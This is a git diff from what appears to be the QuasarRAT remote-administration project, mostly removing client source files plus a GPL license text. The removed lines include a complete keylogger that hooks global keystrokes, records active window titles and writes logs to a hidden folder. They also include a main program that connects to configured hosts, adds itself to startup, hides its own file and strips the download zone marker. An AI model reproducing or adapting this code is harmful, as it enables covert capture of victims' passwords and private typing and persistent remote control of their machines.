- /// - /// This class provides keylogging functionality and modifies/highlights the output for - /// better user experience. - /// - public class Keylogger : IDisposable - { - /// - /// The current instance of this class, null if there is no instance. - /// - public static Keylogger Instance; - - /// - /// True if the class has already been disposed, else False. - /// - public bool IsDisposed { get; private set; } - - /// - /// The directory where the log files will be saved. - /// - public static string LogDirectory { get { return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.LOGDIRECTORYNAME); } } - - private readonly Timer _timerFlush; - private StringBuilder _logFileBuffer; - private List _pressedKeys = new List(); - private List _pressedKeyChars = new List(); - private string _lastWindowTitle; - private bool _ignoreSpecialKeys; - private IKeyboardMouseEvents _mEvents; - - /// - /// Creates the keylogger instance that provides keylogging functionality and starts it. - /// - /// The interval to flush the buffer to the logfile. - public Keylogger(double flushInterval) - { - Instance = this; - _lastWindowTitle = string.Empty; - _logFileBuffer = new StringBuilder(); - - Subscribe(Hook.GlobalEvents()); - - _timerFlush = new Timer { Interval = flushInterval }; - _timerFlush.Elapsed += timerFlush_Elapsed; - _timerFlush.Start(); - - WriteFile(); - } - - /// - /// Disposes used resources by this class. - /// - public void Dispose() - { - Dispose(true); - - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - if (!IsDisposed) - { - if (disposing) - { - if (_timerFlush != null) - { - _timerFlush.Stop(); - _timerFlush.Dispose(); - } - } - - Unsubscribe(); - - IsDisposed = true; - } - } - - private void Subscribe(IKeyboardMouseEvents events) - { - _mEvents = events; - _mEvents.KeyDown += OnKeyDown; - _mEvents.KeyUp += OnKeyUp; - _mEvents.KeyPress += OnKeyPress; - } - - private void Unsubscribe() - { - if (_mEvents == null) return; - _mEvents.KeyDown -= OnKeyDown; - _mEvents.KeyUp -= OnKeyUp; - _mEvents.KeyPress -= OnKeyPress; - _mEvents.Dispose(); - } - - private void OnKeyDown(object sender, KeyEventArgs e) //Called first - { - string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title - if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) - { - _lastWindowTitle = activeWindowTitle; - _logFileBuffer.Append(@"



[" - + KeyloggerHelper.Filter(activeWindowTitle) + " - " - + DateTime.Now.ToString("HH:mm") - + "]


"); - } - - if (_pressedKeys.IsModifierKeysSet()) - { - if (!_pressedKeys.Contains(e.KeyCode)) - { - Debug.WriteLine("OnKeyDown: " + e.KeyCode); - _pressedKeys.Add(e.KeyCode); - return; - } - } - - if (!e.KeyCode.IsExcludedKey()) - { - // The key was not part of the keys that we wish to filter, so - // be sure to prevent a situation where multiple keys are pressed. - if (!_pressedKeys.Contains(e.KeyCode)) - { - Debug.WriteLine("OnKeyDown: " + e.KeyCode); - _pressedKeys.Add(e.KeyCode); - } - } - } - - //This method should be used to process all of our unicode characters - private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second - { - if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar)) - return; - - if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) - { - var filtered = KeyloggerHelper.Filter(e.KeyChar); - if (!string.IsNullOrEmpty(filtered)) - { - Debug.WriteLine("OnKeyPress Output: " + filtered); - if (_pressedKeys.IsModifierKeysSet()) - _ignoreSpecialKeys = true; - - _pressedKeyChars.Add(e.KeyChar); - _logFileBuffer.Append(filtered); - } - } - } - - private void OnKeyUp(object sender, KeyEventArgs e) //Called third - { - _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray())); - _pressedKeyChars.Clear(); - } - - private string HighlightSpecialKeys(Keys[] keys) - { - if (keys.Length < 1) return string.Empty; - - string[] names = new string[keys.Length]; - for (int i = 0; i < keys.Length; i++) - { - if (!_ignoreSpecialKeys) - { - names[i] = KeyloggerHelper.GetDisplayName(keys[i]); - Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]); - } - else - { - names[i] = string.Empty; - _pressedKeys.Remove(keys[i]); - } - } - - _ignoreSpecialKeys = false; - - if (_pressedKeys.IsModifierKeysSet()) - { - StringBuilder specialKeys = new StringBuilder(); - - int validSpecialKeys = 0; - for (int i = 0; i < names.Length; i++) - { - _pressedKeys.Remove(keys[i]); - if (string.IsNullOrEmpty(names[i])) continue; - - specialKeys.AppendFormat((validSpecialKeys == 0) ? @"

[{0}" : " + {0}", names[i]); - validSpecialKeys++; - } - - // If there are items in the special keys string builder, give it an ending tag - if (validSpecialKeys > 0) - specialKeys.Append("]

"); - - Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString()); - return specialKeys.ToString(); - } - - StringBuilder normalKeys = new StringBuilder(); - - for (int i = 0; i < names.Length; i++) - { - _pressedKeys.Remove(keys[i]); - if (string.IsNullOrEmpty(names[i])) continue; - - switch (names[i]) - { - case "Return": - normalKeys.Append(@"

[Enter]


"); - break; - case "Escape": - normalKeys.Append(@"

[Esc]

"); - break; - default: - normalKeys.Append(@"

[" + names[i] + "]

"); - break; - } - } - - Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString()); - return normalKeys.ToString(); - } - - private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e) - { - if (_logFileBuffer.Length > 0 && !QuasarClient.Exiting) - WriteFile(); - } - - private void WriteFile() - { - bool writeHeader = false; - - string filename = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy")); - - try - { - DirectoryInfo di = new DirectoryInfo(LogDirectory); - - if (!di.Exists) - di.Create(); - - if (Settings.HIDELOGDIRECTORY) - di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; - - if (!File.Exists(filename)) - writeHeader = true; - - StringBuilder logFile = new StringBuilder(); - - if (writeHeader) - { - logFile.Append( - "Log created on " + - DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "

"); - - logFile.Append(""); - - _lastWindowTitle = string.Empty; - } - - if (_logFileBuffer.Length > 0) - { - - logFile.Append(_logFileBuffer); - } - - FileHelper.WriteLogFile(filename, logFile.ToString()); - - logFile.Clear(); - } - catch - { - } - - _logFileBuffer.Clear(); - } - } -} \ No newline at end of file diff --git a/Client/Core/Utilities/NativeMethods.cs b/Client/Core/Utilities/NativeMethods.cs deleted file mode 100644 index 12b433b1d..000000000 --- a/Client/Core/Utilities/NativeMethods.cs +++ /dev/null @@ -1,83 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace xClient.Core.Utilities -{ - /// - /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). - /// - public static class NativeMethods - { - [StructLayout(LayoutKind.Sequential)] - public struct LASTINPUTINFO - { - public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO)); - [MarshalAs(UnmanagedType.U4)] - public UInt32 cbSize; - [MarshalAs(UnmanagedType.U4)] - public UInt32 dwTime; - } - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool DeleteFile(string name); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] - public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr hModule, - [MarshalAs(UnmanagedType.LPStr)]string procName); - - [DllImport("user32.dll")] - public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); - - [DllImport("user32.dll")] - public static extern bool SetCursorPos(int x, int y); - - [DllImport("user32.dll")] - public static extern void mouse_event(uint dwFlags, int dx, int dy, int cButtons, int dwExtraInfo); - - [DllImport("user32.dll")] - public static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo); - - /// - /// Performs a bit-block transfer of the color data corresponding to a - /// rectangle of pixels from the specified source device context into - /// a destination device context. - /// - /// Handle to the destination device context. - /// The leftmost x-coordinate of the destination rectangle (in pixels). - /// The topmost y-coordinate of the destination rectangle (in pixels). - /// The width of the source and destination rectangles (in pixels). - /// The height of the source and the destination rectangles (in pixels). - /// Handle to the source device context. - /// The leftmost x-coordinate of the source rectangle (in pixels). - /// The topmost y-coordinate of the source rectangle (in pixels). - /// A raster-operation code. - /// - /// true if the operation succeedes, false otherwise. To get extended error information, call . - /// - [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); - - [DllImport("gdi32.dll")] - public static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData); - - [DllImport("gdi32.dll")] - public static extern bool DeleteDC([In] IntPtr hdc); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern int memcpy(IntPtr dst, IntPtr src, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe int memcpy(void* dst, void* src, uint count); - } -} diff --git a/Client/Enums/MouseAction.cs b/Client/Enums/MouseAction.cs deleted file mode 100644 index 17ac3a9aa..000000000 --- a/Client/Enums/MouseAction.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace xClient.Enums -{ - public enum MouseAction - { - LeftDown, - LeftUp, - RightDown, - RightUp, - MoveCursor, - ScrollUp, - ScrollDown, - None - } -} diff --git a/Client/Enums/PathType.cs b/Client/Enums/PathType.cs deleted file mode 100644 index c07d7023f..000000000 --- a/Client/Enums/PathType.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace xClient.Enums -{ - public enum PathType - { - File, - Directory, - Back - } -} diff --git a/Client/Enums/RegistrySearchAction.cs b/Client/Enums/RegistrySearchAction.cs deleted file mode 100644 index ce9d4f770..000000000 --- a/Client/Enums/RegistrySearchAction.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace xClient.Enums -{ - /* - * Derived and Adapted By Justin Yanke - * github: https://github.com/yankejustin - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * This code is created by Justin Yanke. - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * No modifications made - * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - * Original Source: - * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Enums/RegistrySearchAction.cs - */ - - /// - /// Specifies the items to retrieve and send when searching the registry. - /// - [Flags] - public enum RegistrySearchAction - { - Keys, - Values, - Data - } -} diff --git a/Client/Enums/UserStatus.cs b/Client/Enums/UserStatus.cs deleted file mode 100644 index b8119d029..000000000 --- a/Client/Enums/UserStatus.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace xClient.Enums -{ - public enum UserStatus - { - Idle, - Active - } -} diff --git a/Client/Program.cs b/Client/Program.cs deleted file mode 100644 index 98c795244..000000000 --- a/Client/Program.cs +++ /dev/null @@ -1,141 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using System.Threading; -using System.Windows.Forms; -using xClient.Config; -using xClient.Core.Commands; -using xClient.Core.Cryptography; -using xClient.Core.Data; -using xClient.Core.Helper; -using xClient.Core.Installation; -using xClient.Core.Networking; -using xClient.Core.Utilities; - -namespace xClient -{ - internal static class Program - { - public static QuasarClient ConnectClient; - private static ApplicationContext _msgLoop; - - [STAThread] - private static void Main(string[] args) - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; - - if (Settings.Initialize()) - { - if (Initialize()) - { - if (!QuasarClient.Exiting) - ConnectClient.Connect(); - } - } - - Cleanup(); - Exit(); - } - - private static void Exit() - { - // Don't wait for other threads - if (_msgLoop != null || Application.MessageLoop) - Application.Exit(); - else - Environment.Exit(0); - } - - private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) - { - if (e.IsTerminating) - { - string batchFile = FileHelper.CreateRestartBatch(); - if (string.IsNullOrEmpty(batchFile)) return; - - ProcessStartInfo startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); - Exit(); - } - } - - private static void Cleanup() - { - CommandHandler.CloseShell(); - if (CommandHandler.StreamCodec != null) - CommandHandler.StreamCodec.Dispose(); - if (Keylogger.Instance != null) - Keylogger.Instance.Dispose(); - if (_msgLoop != null) - { - _msgLoop.ExitThread(); - _msgLoop.Dispose(); - _msgLoop = null; - } - MutexHelper.CloseMutex(); - } - - private static bool Initialize() - { - var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); - - // process with same mutex is already running - if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect - return false; - - AES.SetDefaultKey(Settings.PASSWORD); - ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); - GeoLocationHelper.Initialize(); - - FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); - - if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) - { - WindowsAccountHelper.StartUserIdleCheckThread(); - - if (Settings.STARTUP) - { - if (!Startup.AddToStartup()) - ClientData.AddToStartupFailed = true; - } - - if (Settings.INSTALL && Settings.HIDEFILE) - { - try - { - File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden); - } - catch (Exception) - { - } - } - - if (Settings.ENABLELOGGER) - { - new Thread(() => - { - _msgLoop = new ApplicationContext(); - Keylogger logger = new Keylogger(15000); - Application.Run(_msgLoop); - }) {IsBackground = true}.Start(); - } - - ConnectClient = new QuasarClient(hosts); - return true; - } - else - { - MutexHelper.CloseMutex(); - ClientInstaller.Install(ConnectClient); - return false; - } - } - } -} \ No newline at end of file diff --git a/Client/images/information.png b/Client/images/information.png deleted file mode 100644 index 6205729f7..000000000 Binary files a/Client/images/information.png and /dev/null differ diff --git a/Images/remote-desktop.png b/Images/remote-desktop.png new file mode 100644 index 000000000..e8bb4dc1e Binary files /dev/null and b/Images/remote-desktop.png differ diff --git a/Images/remote-files.png b/Images/remote-files.png new file mode 100644 index 000000000..ec9fea11d Binary files /dev/null and b/Images/remote-files.png differ diff --git a/Images/remote-shell.png b/Images/remote-shell.png new file mode 100644 index 000000000..16dd99f88 Binary files /dev/null and b/Images/remote-shell.png differ diff --git a/LICENSE b/LICENSE new file mode 100644 index 000000000..77a1c0b61 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 MaxXor + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/LICENSE.md b/LICENSE.md deleted file mode 100644 index 16d89e0a3..000000000 --- a/LICENSE.md +++ /dev/null @@ -1,596 +0,0 @@ -GNU GENERAL PUBLIC LICENSE -========================== - -Version 3, 29 June 2007 - -Copyright © 2007 Free Software Foundation, Inc. <> - -Everyone is permitted to copy and distribute verbatim copies of this license -document, but changing it is not allowed. - -## Preamble - -The GNU General Public License is a free, copyleft license for software and other -kinds of works. - -The licenses for most software and other practical works are designed to take away -your freedom to share and change the works. By contrast, the GNU General Public -License is intended to guarantee your freedom to share and change all versions of a -program--to make sure it remains free software for all its users. We, the Free -Software Foundation, use the GNU General Public License for most of our software; it -applies also to any other work released this way by its authors. You can apply it to -your programs, too. - -When we speak of free software, we are referring to freedom, not price. Our General -Public Licenses are designed to make sure that you have the freedom to distribute -copies of free software (and charge for them if you wish), that you receive source -code or can get it if you want it, that you can change the software or use pieces of -it in new free programs, and that you know you can do these things. - -To protect your rights, we need to prevent others from denying you these rights or -asking you to surrender the rights. Therefore, you have certain responsibilities if -you distribute copies of the software, or if you modify it: responsibilities to -respect the freedom of others. - -For example, if you distribute copies of such a program, whether gratis or for a fee, -you must pass on to the recipients the same freedoms that you received. You must make -sure that they, too, receive or can get the source code. And you must show them these -terms so they know their rights. - -Developers that use the GNU GPL protect your rights with two steps: (1) assert -copyright on the software, and (2) offer you this License giving you legal permission -to copy, distribute and/or modify it. - -For the developers' and authors' protection, the GPL clearly explains that there is -no warranty for this free software. For both users' and authors' sake, the GPL -requires that modified versions be marked as changed, so that their problems will not -be attributed erroneously to authors of previous versions. - -Some devices are designed to deny users access to install or run modified versions of -the software inside them, although the manufacturer can do so. This is fundamentally -incompatible with the aim of protecting users' freedom to change the software. The -systematic pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we have designed -this version of the GPL to prohibit the practice for those products. If such problems -arise substantially in other domains, we stand ready to extend this provision to -those domains in future versions of the GPL, as needed to protect the freedom of -users. - -Finally, every program is threatened constantly by software patents. States should -not allow patents to restrict development and use of software on general-purpose -computers, but in those that do, we wish to avoid the special danger that patents -applied to a free program could make it effectively proprietary. To prevent this, the -GPL assures that patents cannot be used to render the program non-free. - -The precise terms and conditions for copying, distribution and modification follow. - -## TERMS AND CONDITIONS - -### 0. Definitions. - -“This License” refers to version 3 of the GNU General Public License. - -“Copyright” also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - -“The Program” refers to any copyrightable work licensed under this -License. Each licensee is addressed as “you”. “Licensees” and -“recipients” may be individuals or organizations. - -To “modify” a work means to copy from or adapt all or part of the work in -a fashion requiring copyright permission, other than the making of an exact copy. The -resulting work is called a “modified version” of the earlier work or a -work “based on” the earlier work. - -A “covered work” means either the unmodified Program or a work based on -the Program. - -To “propagate” a work means to do anything with it that, without -permission, would make you directly or secondarily liable for infringement under -applicable copyright law, except executing it on a computer or modifying a private -copy. Propagation includes copying, distribution (with or without modification), -making available to the public, and in some countries other activities as well. - -To “convey” a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through a computer -network, with no transfer of a copy, is not conveying. - -An interactive user interface displays “Appropriate Legal Notices” to the -extent that it includes a convenient and prominently visible feature that (1) -displays an appropriate copyright notice, and (2) tells the user that there is no -warranty for the work (except to the extent that warranties are provided), that -licensees may convey the work under this License, and how to view a copy of this -License. If the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - -### 1. Source Code. - -The “source code” for a work means the preferred form of the work for -making modifications to it. “Object code” means any non-source form of a -work. - -A “Standard Interface” means an interface that either is an official -standard defined by a recognized standards body, or, in the case of interfaces -specified for a particular programming language, one that is widely used among -developers working in that language. - -The “System Libraries” of an executable work include anything, other than -the work as a whole, that (a) is included in the normal form of packaging a Major -Component, but which is not part of that Major Component, and (b) serves only to -enable use of the work with that Major Component, or to implement a Standard -Interface for which an implementation is available to the public in source code form. -A “Major Component”, in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system (if any) on which -the executable work runs, or a compiler used to produce the work, or an object code -interpreter used to run it. - -The “Corresponding Source” for a work in object code form means all the -source code needed to generate, install, and (for an executable work) run the object -code and to modify the work, including scripts to control those activities. However, -it does not include the work's System Libraries, or general-purpose tools or -generally available free programs which are used unmodified in performing those -activities but which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for the work, and -the source code for shared libraries and dynamically linked subprograms that the work -is specifically designed to require, such as by intimate data communication or -control flow between those subprograms and other parts of the work. - -The Corresponding Source need not include anything that users can regenerate -automatically from other parts of the Corresponding Source. - -The Corresponding Source for a work in source code form is that same work. - -### 2. Basic Permissions. - -All rights granted under this License are granted for the term of copyright on the -Program, and are irrevocable provided the stated conditions are met. This License -explicitly affirms your unlimited permission to run the unmodified Program. The -output from running a covered work is covered by this License only if the output, -given its content, constitutes a covered work. This License acknowledges your rights -of fair use or other equivalent, as provided by copyright law. - -You may make, run and propagate covered works that you do not convey, without -conditions so long as your license otherwise remains in force. You may convey covered -works to others for the sole purpose of having them make modifications exclusively -for you, or provide you with facilities for running those works, provided that you -comply with the terms of this License in conveying all material for which you do not -control copyright. Those thus making or running the covered works for you must do so -exclusively on your behalf, under your direction and control, on terms that prohibit -them from making any copies of your copyrighted material outside their relationship -with you. - -Conveying under any other circumstances is permitted solely under the conditions -stated below. Sublicensing is not allowed; section 10 makes it unnecessary. - -### 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - -No covered work shall be deemed part of an effective technological measure under any -applicable law fulfilling obligations under article 11 of the WIPO copyright treaty -adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention -of such measures. - -When you convey a covered work, you waive any legal power to forbid circumvention of -technological measures to the extent such circumvention is effected by exercising -rights under this License with respect to the covered work, and you disclaim any -intention to limit operation or modification of the work as a means of enforcing, -against the work's users, your or third parties' legal rights to forbid circumvention -of technological measures. - -### 4. Conveying Verbatim Copies. - -You may convey verbatim copies of the Program's source code as you receive it, in any -medium, provided that you conspicuously and appropriately publish on each copy an -appropriate copyright notice; keep intact all notices stating that this License and -any non-permissive terms added in accord with section 7 apply to the code; keep -intact all notices of the absence of any warranty; and give all recipients a copy of -this License along with the Program. - -You may charge any price or no price for each copy that you convey, and you may offer -support or warranty protection for a fee. - -### 5. Conveying Modified Source Versions. - -You may convey a work based on the Program, or the modifications to produce it from -the Program, in the form of source code under the terms of section 4, provided that -you also meet all of these conditions: - -* **a)** The work must carry prominent notices stating that you modified it, and giving a -relevant date. -* **b)** The work must carry prominent notices stating that it is released under this -License and any conditions added under section 7. This requirement modifies the -requirement in section 4 to “keep intact all notices”. -* **c)** You must license the entire work, as a whole, under this License to anyone who -comes into possession of a copy. This License will therefore apply, along with any -applicable section 7 additional terms, to the whole of the work, and all its parts, -regardless of how they are packaged. This License gives no permission to license the -work in any other way, but it does not invalidate such permission if you have -separately received it. -* **d)** If the work has interactive user interfaces, each must display Appropriate Legal -Notices; however, if the Program has interactive interfaces that do not display -Appropriate Legal Notices, your work need not make them do so. - -A compilation of a covered work with other separate and independent works, which are -not by their nature extensions of the covered work, and which are not combined with -it such as to form a larger program, in or on a volume of a storage or distribution -medium, is called an “aggregate” if the compilation and its resulting -copyright are not used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work in an aggregate -does not cause this License to apply to the other parts of the aggregate. - -### 6. Conveying Non-Source Forms. - -You may convey a covered work in object code form under the terms of sections 4 and -5, provided that you also convey the machine-readable Corresponding Source under the -terms of this License, in one of these ways: - -* **a)** Convey the object code in, or embodied in, a physical product (including a -physical distribution medium), accompanied by the Corresponding Source fixed on a -durable physical medium customarily used for software interchange. -* **b)** Convey the object code in, or embodied in, a physical product (including a -physical distribution medium), accompanied by a written offer, valid for at least -three years and valid for as long as you offer spare parts or customer support for -that product model, to give anyone who possesses the object code either (1) a copy of -the Corresponding Source for all the software in the product that is covered by this -License, on a durable physical medium customarily used for software interchange, for -a price no more than your reasonable cost of physically performing this conveying of -source, or (2) access to copy the Corresponding Source from a network server at no -charge. -* **c)** Convey individual copies of the object code with a copy of the written offer to -provide the Corresponding Source. This alternative is allowed only occasionally and -noncommercially, and only if you received the object code with such an offer, in -accord with subsection 6b. -* **d)** Convey the object code by offering access from a designated place (gratis or for -a charge), and offer equivalent access to the Corresponding Source in the same way -through the same place at no further charge. You need not require recipients to copy -the Corresponding Source along with the object code. If the place to copy the object -code is a network server, the Corresponding Source may be on a different server -(operated by you or a third party) that supports equivalent copying facilities, -provided you maintain clear directions next to the object code saying where to find -the Corresponding Source. Regardless of what server hosts the Corresponding Source, -you remain obligated to ensure that it is available for as long as needed to satisfy -these requirements. -* **e)** Convey the object code using peer-to-peer transmission, provided you inform -other peers where the object code and Corresponding Source of the work are being -offered to the general public at no charge under subsection 6d. - -A separable portion of the object code, whose source code is excluded from the -Corresponding Source as a System Library, need not be included in conveying the -object code work. - -A “User Product” is either (1) a “consumer product”, which -means any tangible personal property which is normally used for personal, family, or -household purposes, or (2) anything designed or sold for incorporation into a -dwelling. In determining whether a product is a consumer product, doubtful cases -shall be resolved in favor of coverage. For a particular product received by a -particular user, “normally used” refers to a typical or common use of -that class of product, regardless of the status of the particular user or of the way -in which the particular user actually uses, or expects or is expected to use, the -product. A product is a consumer product regardless of whether the product has -substantial commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - -“Installation Information” for a User Product means any methods, -procedures, authorization keys, or other information required to install and execute -modified versions of a covered work in that User Product from a modified version of -its Corresponding Source. The information must suffice to ensure that the continued -functioning of the modified object code is in no case prevented or interfered with -solely because modification has been made. - -If you convey an object code work under this section in, or with, or specifically for -use in, a User Product, and the conveying occurs as part of a transaction in which -the right of possession and use of the User Product is transferred to the recipient -in perpetuity or for a fixed term (regardless of how the transaction is -characterized), the Corresponding Source conveyed under this section must be -accompanied by the Installation Information. But this requirement does not apply if -neither you nor any third party retains the ability to install modified object code -on the User Product (for example, the work has been installed in ROM). - -The requirement to provide Installation Information does not include a requirement to -continue to provide support service, warranty, or updates for a work that has been -modified or installed by the recipient, or for the User Product in which it has been -modified or installed. Access to a network may be denied when the modification itself -materially and adversely affects the operation of the network or violates the rules -and protocols for communication across the network. - -Corresponding Source conveyed, and Installation Information provided, in accord with -this section must be in a format that is publicly documented (and with an -implementation available to the public in source code form), and must require no -special password or key for unpacking, reading or copying. - -### 7. Additional Terms. - -“Additional permissions” are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. Additional -permissions that are applicable to the entire Program shall be treated as though they -were included in this License, to the extent that they are valid under applicable -law. If additional permissions apply only to part of the Program, that part may be -used separately under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - -When you convey a copy of a covered work, you may at your option remove any -additional permissions from that copy, or from any part of it. (Additional -permissions may be written to require their own removal in certain cases when you -modify the work.) You may place additional permissions on material, added by you to a -covered work, for which you have or can give appropriate copyright permission. - -Notwithstanding any other provision of this License, for material you add to a -covered work, you may (if authorized by the copyright holders of that material) -supplement the terms of this License with terms: - -* **a)** Disclaiming warranty or limiting liability differently from the terms of -sections 15 and 16 of this License; or -* **b)** Requiring preservation of specified reasonable legal notices or author -attributions in that material or in the Appropriate Legal Notices displayed by works -containing it; or -* **c)** Prohibiting misrepresentation of the origin of that material, or requiring that -modified versions of such material be marked in reasonable ways as different from the -original version; or -* **d)** Limiting the use for publicity purposes of names of licensors or authors of the -material; or -* **e)** Declining to grant rights under trademark law for use of some trade names, -trademarks, or service marks; or -* **f)** Requiring indemnification of licensors and authors of that material by anyone -who conveys the material (or modified versions of it) with contractual assumptions of -liability to the recipient, for any liability that these contractual assumptions -directly impose on those licensors and authors. - -All other non-permissive additional terms are considered “further -restrictions” within the meaning of section 10. If the Program as you received -it, or any part of it, contains a notice stating that it is governed by this License -along with a term that is a further restriction, you may remove that term. If a -license document contains a further restriction but permits relicensing or conveying -under this License, you may add to a covered work material governed by the terms of -that license document, provided that the further restriction does not survive such -relicensing or conveying. - -If you add terms to a covered work in accord with this section, you must place, in -the relevant source files, a statement of the additional terms that apply to those -files, or a notice indicating where to find the applicable terms. - -Additional terms, permissive or non-permissive, may be stated in the form of a -separately written license, or stated as exceptions; the above requirements apply -either way. - -### 8. Termination. - -You may not propagate or modify a covered work except as expressly provided under -this License. Any attempt otherwise to propagate or modify it is void, and will -automatically terminate your rights under this License (including any patent licenses -granted under the third paragraph of section 11). - -However, if you cease all violation of this License, then your license from a -particular copyright holder is reinstated (a) provisionally, unless and until the -copyright holder explicitly and finally terminates your license, and (b) permanently, -if the copyright holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - -Moreover, your license from a particular copyright holder is reinstated permanently -if the copyright holder notifies you of the violation by some reasonable means, this -is the first time you have received notice of violation of this License (for any -work) from that copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - -Termination of your rights under this section does not terminate the licenses of -parties who have received copies or rights from you under this License. If your -rights have been terminated and not permanently reinstated, you do not qualify to -receive new licenses for the same material under section 10. - -### 9. Acceptance Not Required for Having Copies. - -You are not required to accept this License in order to receive or run a copy of the -Program. Ancillary propagation of a covered work occurring solely as a consequence of -using peer-to-peer transmission to receive a copy likewise does not require -acceptance. However, nothing other than this License grants you permission to -propagate or modify any covered work. These actions infringe copyright if you do not -accept this License. Therefore, by modifying or propagating a covered work, you -indicate your acceptance of this License to do so. - -### 10. Automatic Licensing of Downstream Recipients. - -Each time you convey a covered work, the recipient automatically receives a license -from the original licensors, 